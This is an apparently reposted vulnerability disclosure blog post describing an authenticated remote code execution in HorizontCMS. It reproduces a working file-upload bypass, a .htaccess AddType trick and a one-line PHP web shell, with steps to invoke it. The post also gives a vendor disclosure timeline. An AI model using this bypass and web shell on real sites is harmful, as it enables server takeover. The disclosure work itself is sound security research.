[BugHunt] Authenticated RCE found in HorizontCMS — Part 2 (PHP Filetype Bypass)
2021-04-03 23:43:26 Author: infosecwriteups.com(查看原文) 阅读量:187 收藏

bigb0ss

As I talked about in the Part 1, [BugHunt] Authenticated RCE found in HorizontCMS — Part 1 (Malicious Plugins), blog, we found a way to bypass the patched PHP filetype restrictions to upload a .php file. However, the executing the uploaded PHP file was not accomplished.

So, we wanted to go with different route of choosing files to upload and gain PHP code execution on the application.

As mentioned in the Part 1, the original file upload vulnerability (CVE-2020–27387) was remediated by restricting the PHP extensions; however, we discovered that the filter could be bypassed via uploading an arbitrary .htaccess and *.hello files in order to execute PHP code to gain RCE.

Reproduction of the Issue

  1. Login to the admin panel (http://<HorizontCMS IP>/admin/login)
  2. Go to “Media” → “Files”

3. Upload the following test2.htaccess → Rename the file name as .htaccess

AddType application/x-httpd-php .hello

4. Upload another following file test2.php → Rename the file name as test.hello

<?php system($_GET['cmd']); ?>

Then, we can see both of the files are successfully uploaded to the HorizontCMS application under its /storage folder.

5. Go to http://<HorizontCMS IP/storage/test.hello?cmd= for RCE

It was a great idea from my buddy Chi :) and was very effective file upload attack vector to gain RCE on a PHP application. We also reported this issue to HorizontCMS.

Disclosure Timeline

  • 03/16/21 — Report the bug to HorizontCMS
  • 03/16/21 — HorizontCMS acknowledge the issue
  • 03/16/21 — CVE Requested (MITRE)

文章来源: https://infosecwriteups.com/bughunt-authenticated-rce-found-in-horizontcms-part-2-php-filetype-bypass-4580176223eb?source=rss----7b722bfd1b8d--bug_bounty
如有侵权请联系:admin#unsafe.sh